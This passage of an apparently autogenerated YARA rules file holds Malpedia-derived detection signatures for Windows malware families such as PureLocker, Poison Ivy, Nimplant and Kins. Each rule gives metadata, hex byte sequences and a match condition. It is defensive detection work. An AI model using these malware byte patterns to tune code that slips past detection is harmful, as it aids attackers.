		$sequence_6 = { 57 4883ec20 e8???????? 488b05???????? 488d1d2ffe0100 4885c0 480f45d8 }
		$sequence_7 = { 488bfa 488bd9 49894ba8 498953b0 4533f6 45897398 }
		$sequence_8 = { 410fb641ff 440f47c2 4533c2 4569d093010001 84c0 75d7 4181fad26d58ad }
		$sequence_9 = { e8???????? 84c0 0f8422ffffff 44383d???????? f20f1005???????? 0fb705???????? }
	condition:
		7 of them and filesize < 464896
}

rule MALPEDIA_Win_Purelocker_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "19f36305-4b96-510d-a7f2-0dc1a52c7e21"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.purelocker"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.purelocker_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "938c4b6e5f7cc834fc68e23dd33e35b757eeea1e164b3c0af40b39e69fc933d6"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8f84240c040000 ffb42410040000 58 89842420040000 8b9c2414040000 3b9c240c040000 0f8da5000000 }
		$sequence_1 = { 50 5b 5f 83ffff 7f0b 7c05 83fbff }
		$sequence_2 = { e8???????? ffb42458080000 e8???????? 31c0 0fbec0 }
		$sequence_3 = { 7505 e9???????? 8b9c2450040000 83fb01 0f85c3000000 83bc245804000000 7411 }
		$sequence_4 = { 89442404 ff3424 8d1524400110 59 e8???????? 7415 }
		$sequence_5 = { 750e 837c240400 7407 b801000000 eb02 31c0 21c0 }
		$sequence_6 = { 7c11 8b5c2420 3b5c2428 7f07 b801000000 eb02 }
		$sequence_7 = { e9???????? 6819000000 68ffffffff ff742414 ff742420 e8???????? ff742410 }
		$sequence_8 = { 52 e8???????? 5a 50 ff742408 e8???????? 8d44241c }
		$sequence_9 = { ffb424bc000000 e8???????? 0fbe842488000000 0fbec0 e9???????? ff742474 }
	condition:
		7 of them and filesize < 193536
}

rule MALPEDIA_Win_Nagini_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "96b62be7-f485-5281-9063-fa2aa017f19b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nagini"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nagini_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "7611b927095df92b3b5eaffee00806b1be3b736d512ae6422738ca1d97180738"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 080c08 07 0d0807110c 0916 100b }
		$sequence_1 = { 83781408 7202 8b00 50 e8???????? 83c404 837c245808 }
		$sequence_2 = { 0f835ffbffff 03f3 03d3 83fb1f 0f8715040000 ff249da0c64000 8b46e4 }
		$sequence_3 = { 0404 0406 0404 06 0404 06 0404 }
		$sequence_4 = { 0536240538 27 06 37 260537260535 230434 2203 }
		$sequence_5 = { 07 0505080606 0907 07 }
		$sequence_6 = { 6a14 8d0440 3d860a0000 756c 6a32 68a0000000 }
		$sequence_7 = { 6454 48 68584c6959 4d 6f 5f 53 }
		$sequence_8 = { 06 0806 06 0907 }
		$sequence_9 = { 89441928 8b45f0 8954192c 8b4df4 8b148dc0914200 }
	condition:
		7 of them and filesize < 12820480
}

rule MALPEDIA_Win_Punkey_Pos_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "558f1792-1bb2-5d9b-859d-0b6382b27ab5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.punkey_pos"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.punkey_pos_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "a4ee7826b83e8d1ab2e9aee9c2a1f21a3ae3a3b9d6fb52555b83791b8ed2dd78"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff05???????? 8b0d???????? 56 57 6a00 51 ff15???????? }
		$sequence_1 = { 56 ffd7 a3???????? 85c0 74ae 5f b801000000 }
		$sequence_2 = { 68e7070000 50 ff15???????? ff05???????? }
		$sequence_3 = { 741d a1???????? 85c0 740e 56 57 68e7070000 }
		$sequence_4 = { ffd7 a3???????? 85c0 74ae 5f b801000000 }
		$sequence_5 = { 50 a1???????? 50 ff15???????? 5d c20c00 }
		$sequence_6 = { 85c0 7919 8b4d10 8b550c }
		$sequence_7 = { a3???????? 85c0 74ae 5f b801000000 }
		$sequence_8 = { ff15???????? c705????????00000000 c3 3b0d???????? 7502 f3c3 e9???????? }
		$sequence_9 = { 56 57 68e7070000 50 ff15???????? ff05???????? }
	condition:
		7 of them and filesize < 499712
}

rule MALPEDIA_Win_Darkcloud_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "cd1b5f5a-7942-5b60-9ccf-fe3c4e2edece"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkcloud"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkcloud_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "aa0d92530fd9200448b5bea8151df68481eaae78d40aef44b3313e13499f3f86"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a00 68???????? 8d857cffffff 50 ff15???????? 8d8d7cffffff 51 }
		$sequence_1 = { 8b9584feffff 52 8b8580feffff 50 ff15???????? 898568fdffff eb0a }
		$sequence_2 = { 89952cffffff 6aff 8b45a8 50 8b4d08 8b11 52 }
		$sequence_3 = { c7458c0a000000 c745a404000280 c7459c0a000000 c745b404000280 c745ac0a000000 8b45d8 }
		$sequence_4 = { 83c418 c745fc11000000 ba???????? 8d4da0 ff15???????? 8d45a0 50 }
		$sequence_5 = { 51 8d8544ffffff 52 50 ff15???????? }
		$sequence_6 = { 8bd0 8d4d98 ff15???????? ba???????? 8d4dac ff15???????? 8b5598 }
		$sequence_7 = { ff15???????? 8d4dc8 ff15???????? 8d4db8 ff15???????? c745fc0c000000 8b45d4 }
		$sequence_8 = { 68???????? ff15???????? 8bd0 8d4da8 ff15???????? 8d4590 50 }
		$sequence_9 = { 8d4d88 51 8d558c 52 8d4590 50 6a05 }
	condition:
		7 of them and filesize < 622592
}

rule MALPEDIA_Win_Slimagent_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "81a11c11-c6ba-51d7-a103-aa43fd5efed5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.slimagent"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.slimagent_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "78304dd9a4e758407499c150f8ded9d2c3d715e90c8046900ee52970af3e3c9d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488bc2 488d0df5440200 0f57c0 48890b 488d5308 488d4808 0f1102 }
		$sequence_1 = { b801000000 874110 85c0 7427 8364244000 488d05d2a5feff 4889442448 }
		$sequence_2 = { c3 4053 4883ec20 488d054bcf0200 488bd9 488901 f6c201 }
		$sequence_3 = { 0f1102 e8???????? 488d058c780200 488903 488bc3 4883c420 5b }
		$sequence_4 = { 66413b444b02 7515 4883c102 4883f90b 7415 0fb7044a 66413b044b }
		$sequence_5 = { 488d0c4f 41b810000000 488d15004c0400 e8???????? 6646892c77 eb7d 48c744242008000000 }
		$sequence_6 = { 4c8b83f0000000 498bc0 482bc1 483bd0 772f 488d3411 }
		$sequence_7 = { 488bc2 48c1e83f 4803d0 4863c2 4869c880aefeff 488d0535240100 89531c }
		$sequence_8 = { 4803fa 4d8bc6 33d2 488bcf e8???????? 42c6043700 eb0f }
		$sequence_9 = { 48899fc8000000 668919 488d8fd8000000 4883bff000000008 7207 }
	condition:
		7 of them and filesize < 769024
}

rule MALPEDIA_Win_Quickheal_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "32c5b738-c920-5a30-a6ba-c9a05fe50d12"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.quickheal"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.quickheal_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "b1666ee1e28f71dc83ee325a607900259e0027addcd09d0a51064c380d4fc4c7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33c0 8d7c2431 c78424ec0300001c010000 f3ab 66ab }
		$sequence_1 = { 66898c2494040000 b940000000 f3ab c784249800000003000000 c78424cc000000058288a2 }
		$sequence_2 = { 8b542414 6a07 52 895c2478 895c247c }
		$sequence_3 = { 8944242c 55 e9???????? ffd6 68???????? 57 8944243c }
		$sequence_4 = { 89542450 f7d1 89542454 49 8bf9 8d043f 50 }
		$sequence_5 = { 7527 85ed 7523 8b4c2414 e8???????? 53 892d???????? }
		$sequence_6 = { 8d5c2410 83c404 8944240c c1eb04 8d740704 e8???????? 3206 }
		$sequence_7 = { ffd7 3bc3 0f845d040000 8d8c24d8150000 2bc6 }
		$sequence_8 = { 23e9 f7d2 23d6 0bd5 8b6c243c 03d5 03da }
		$sequence_9 = { 8b542420 c1f802 8d0440 3bd0 0f8c8e030000 8d46fc 53 }
	condition:
		7 of them and filesize < 553984
}

rule MALPEDIA_Win_Poison_Ivy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0917932a-f079-5bf1-931c-716d03c726be"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poison_ivy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.poison_ivy_auto.yar#L1-L94"
		license_url = "N/A"
		logic_hash = "3536834c24827a74ee9df7192a4db2e3644f1cf45a57755c4feba403f8b5bbbf"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a01 6a00 8d86120e0000 50 }
		$sequence_1 = { 683f000f00 6a00 57 51 ff5635 68ff000000 }
		$sequence_2 = { 51 57 ff9681000000 8d45fc 50 683f000f00 6a00 }
		$sequence_3 = { 80beaf08000001 7507 b902000080 eb05 b901000080 8d45fc 50 }
		$sequence_4 = { 8d86120e0000 50 ff75fc ff563d }
		$sequence_5 = { 51 ff5635 68ff000000 8d86b1060000 50 6a01 6a00 }
		$sequence_6 = { 57 ff9681000000 80beaf08000001 7507 }
	condition:
		7 of them and filesize < 204800
}

rule MALPEDIA_Win_Mpkbot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5c0d844d-8443-5cd2-85d1-0760b4dc7471"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mpkbot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mpkbot_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "e000d2e2dca508ff7c1606218ef334f987cad7bd6633af2fef3bc1fd70b54752"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 ff15???????? ff7510 a3???????? }
		$sequence_1 = { 68???????? 68???????? 8975f8 8b08 50 }
		$sequence_2 = { 52 56 6a20 68???????? 68???????? 8975f8 8b08 }
		$sequence_3 = { 50 ff15???????? 8b45fc 3bc6 7406 8b08 }
		$sequence_4 = { 68???????? 68???????? 8975f8 8b08 50 ff5150 }
		$sequence_5 = { a5 a5 8b75fc 5f 53 ff15???????? 8bc6 }
		$sequence_6 = { 56 68???????? 68???????? ffd7 6a00 6a01 }
		$sequence_7 = { eb15 53 ff75f8 56 }
		$sequence_8 = { d95dd0 d945d0 d9c1 dee1 d95dcc 0fb630 }
		$sequence_9 = { 6a01 6aff 8975fc 8b08 50 ff5110 85c0 }
	condition:
		7 of them and filesize < 139264
}

rule MALPEDIA_Win_Nimplant_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a344304a-2438-58e4-b960-8890c3f03181"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nimplant"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nimplant_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "3bcc7f38e2b9ac77c0e1b998e8b9b2d2ae5abbf7ef3c4a3072bece45de56739e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4c8d05a49c0400 e8???????? 4885db 740f 48b80000000000000040 488503 }
		$sequence_1 = { 4d85e4 0f8886000000 410fb6443c08 89c2 83e2fd 80fa3c 7404 }
		$sequence_2 = { 4d29dd 4801fe 488d4802 4839d1 7c16 4801d2 4883c003 }
		$sequence_3 = { 744a 488d4c2430 4c89ea e8???????? 488b7c2430 0fb62b 4c89e9 }
		$sequence_4 = { 4c8b11 4c8b5908 488b02 4c89c3 4c8b4208 4c8d6c2430 4989d4 }
		$sequence_5 = { 498b4708 420fb6440807 3c5c 744d 3c2f 7449 ba01000000 }
		$sequence_6 = { 4c89fa 4c89c9 4c894c2438 e8???????? 0fb63b 4c8b7c2458 4c8b4c2438 }
		$sequence_7 = { 48897c2438 0f8093030000 4885c0 0f88c2050000 488d7c2470 4889c2 488dac2480000000 }
		$sequence_8 = { 4c894c2448 4c895c2440 e8???????? 4c8b5c2440 4c8b4c2448 4d01d9 0f8050020000 }
		$sequence_9 = { e8???????? 0fb62b 4084ed 0f85d6fdffff 89f0 488d9424f0000000 c744242001000000 }
	condition:
		7 of them and filesize < 1811456
}

rule MALPEDIA_Win_October_Seventh_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c923fdd4-c954-5dde-bdcd-f3b77326ae47"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.october_seventh"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.october_seventh_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "552e719a27839e5d3f04d1c3619c82bb79d38c4fb51bdf6c68df34e2e7210a4c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 81784870034200 7409 ff7048 e8???????? 59 8b45fc }
		$sequence_1 = { 80ba????????3f 76f3 2bcf 49 8d4103 99 }
		$sequence_2 = { 50 8b8598f8ffff 0fb7048544cb4100 8d048540c24100 }
		$sequence_3 = { ff35???????? 89442410 e8???????? 8bf0 83c408 }
		$sequence_4 = { 8b0cbdd08fd500 c644112900 837dfc00 7507 b800800000 eb1e 84db }
		$sequence_5 = { 8b45d4 0345b4 48 e9???????? 8b0c85d08fd500 }
		$sequence_6 = { 33c0 5b 8be5 5d c3 8b4018 33f6 }
		$sequence_7 = { 68???????? a3???????? ffd0 ba???????? b9???????? 8bf0 }
		$sequence_8 = { 7470 eb17 be???????? 68???????? e8???????? 83c404 }
		$sequence_9 = { 46 3b75f0 72c5 eb0f 8b45f4 8b7dfc 0fb70470 }
	condition:
		7 of them and filesize < 19859456
}

rule MALPEDIA_Win_Quickmute_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "82702de0-3ec3-5174-97b3-ecd07741028d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.quickmute"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.quickmute_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "a1fe14ff6e270ce43f084b7c17d9cfec20868bf0fcb227ce38e0547341f7d58e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c78550ffffff7265616c c78554ffffff6c6f6300 391d???????? 750f 8d8550ffffff 50 }
		$sequence_1 = { 6a00 52 ff15???????? 83c40c 6a10 8d45ec 6a00 }
		$sequence_2 = { 8b75fc 85f6 740c 56 }
		$sequence_3 = { 0f8410020000 837dec00 755e 837df000 7558 837df400 }
		$sequence_4 = { ffd7 a3???????? 833d????????00 c68560ffffff47 889d61ffffff c78562ffffff74537461 c78566ffffff72747570 }
		$sequence_5 = { 8b7508 c7465ca89b4000 83660800 33ff 47 897e14 }
		$sequence_6 = { 8d45b4 50 56 ffd7 a3???????? 833d????????00 }
		$sequence_7 = { 8d7c2410 e8???????? 803d????????00 756b }
		$sequence_8 = { 66c7855affffff656e 889d5cffffff c7855dffffff69616c73 c68561ffffff00 750f 8d954cffffff 52 }
		$sequence_9 = { 6a0d 58 5d c3 8b04cd74c14000 5d c3 }
	condition:
		7 of them and filesize < 146432
}

rule MALPEDIA_Win_Ldr4_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c588634c-3a69-5c4e-b524-6b66db1c4a89"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ldr4"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ldr4_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "e747da5dcad3015b47810444cb7613ce4b06e63b04ebbc6ff8767e44ad66440e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 56 8d45b4 50 53 33f6 56 }
		$sequence_1 = { 8b4008 8945f4 a1???????? 53 35fc28b0ec 56 50 }
		$sequence_2 = { c745f40c000000 c745fc01000000 895df8 ffd7 85c0 7508 }
		$sequence_3 = { 53 56 57 8bf8 a1???????? 8b5808 8b07 }
		$sequence_4 = { a1???????? 8b4008 89442404 85f6 0f84c9000000 8b4610 85c0 }
		$sequence_5 = { 8b4008 57 8b3d???????? 6a40 8945f8 8d45b8 }
		$sequence_6 = { ff15???????? 8bf0 85f6 750c 57 ff15???????? 6a08 }
		$sequence_7 = { 3bc6 743c 56 56 ff75f4 }
		$sequence_8 = { ff15???????? 8d4608 50 e8???????? 837e0400 7414 6aff }
		$sequence_9 = { 35fc28b0ec 56 50 8b4508 8b402c e8???????? 85c0 }
	condition:
		7 of them and filesize < 117760
}

rule MALPEDIA_Win_Cotx_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7eae7fd5-fe09-5035-acc7-8021961f04a4"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cotx"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cotx_auto.yar#L1-L114"
		license_url = "N/A"
		logic_hash = "1c95a0f1a2e7fb0ee9c8ab7674fdf844ade84df8607e565506c61944d3da6b96"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83c40c 8d45e0 50 ff15???????? 0fb745ee }
		$sequence_1 = { c705????????69e053a4 c705????????120d934e c705????????b0b65443 c705????????4df9e511 c705????????0e9a3f4b }
		$sequence_2 = { 83e103 f3a4 8dbd98faffff 4f }
		$sequence_3 = { c705????????9cb95b4c c705????????2d494a94 c705????????8db133d4 c705????????8e220b1d c705????????6825794d c705????????4506ce62 }
		$sequence_4 = { 8d85bcf3ffff 50 ff15???????? 8bf0 }
		$sequence_5 = { c705????????f0e91f15 c705????????9cb95b4c c705????????2d494a94 c705????????8db133d4 c705????????8e220b1d }
		$sequence_6 = { 68???????? 56 e8???????? 6800f00000 81c690ef0000 68???????? }
		$sequence_7 = { c785b8faffff39313044 c1e902 f3a5 8bca }
		$sequence_8 = { 6800040000 8d8598f6ffff 6a00 50 e8???????? 83c40c 8d8598feffff }
		$sequence_9 = { e8???????? 6890ef0000 8d7760 68???????? }
	condition:
		7 of them and filesize < 1171456
}

rule MALPEDIA_Win_Devopt_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c196c87a-940f-5170-bdeb-5480f0772987"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.devopt"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.devopt_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "d44283c361e67f2f245bfc24e6c20517af3480cb8098b2e4e26bd4743afb76d5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { eb47 8b45fc 0fb6809e030000 50 8b45fc 8a889d030000 8b45fc }
		$sequence_1 = { ff15???????? 8b45f4 8d4060 50 6863090000 6a00 6a09 }
		$sequence_2 = { eb0f 8b45fc 8b4050 8b55fc 8b4dfc ff514c 89ec }
		$sequence_3 = { f77dac 0fb755cc 8d0410 66894588 0fb745c6 0fb755ce 29d0 }
		$sequence_4 = { eb36 807dd8b3 7530 0fb645d4 2d80000000 83f824 7322 }
		$sequence_5 = { ff526c 8845f0 660fb645f0 66250100 66a9ffff 7502 eb09 }
		$sequence_6 = { eb2a 6a00 8d45e8 50 66b90000 66ba0000 66b80000 }
		$sequence_7 = { eb46 8b45fc 8b4034 8b55fc 8b4dfc 8b4934 ff91fc000000 }
		$sequence_8 = { e8???????? 8d7600 b801000000 89f1 d3e0 8d50ff 21da }
		$sequence_9 = { ff75c0 8b4dbc 8b55c4 8d45ec e8???????? 84c0 7509 }
	condition:
		7 of them and filesize < 4645888
}

rule MALPEDIA_Win_Kins_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "743f9274-41e4-5665-bc30-911487d51855"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kins"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kins_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "26d261757c4f136c791aeb2f4de3cf368918a3d762b525e91ab2a0dc9fc542ca"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 5f 5e 5b c9 c3 ff0d???????? 7518 }
		$sequence_1 = { e8???????? 6a2e 8d7b18 57 e8???????? 84c0 743e }
		$sequence_2 = { 8b4d0c 890491 42 33c0 85f6 75c2 8b4510 }
		$sequence_3 = { 33da 035dec 897dfc 8d84032211906b c1c007 03c7 8bfe }
		$sequence_4 = { 89441904 33c0 eb03 33c0 40 5f }
		$sequence_5 = { e8???????? 8bf0 85f6 0f8512010000 8d45dc 8bd8 e8???????? }
		$sequence_6 = { e8???????? 33ff 85ff 7526 837c242800 0f85cefeffff 8b7508 }
		$sequence_7 = { 56 ffd7 833d????????04 720a 56 }
		$sequence_8 = { 7510 837de801 750a 8b4720 894714 c645ff01 8a45ff }
		$sequence_9 = { 72f0 8d411c e8???????? 83611800 }
	condition:
		7 of them and filesize < 548864
}

rule MALPEDIA_Win_Sienna_Purple_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5c3c6fac-b35f-5f08-8ac2-d022904e5031"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sienna_purple"
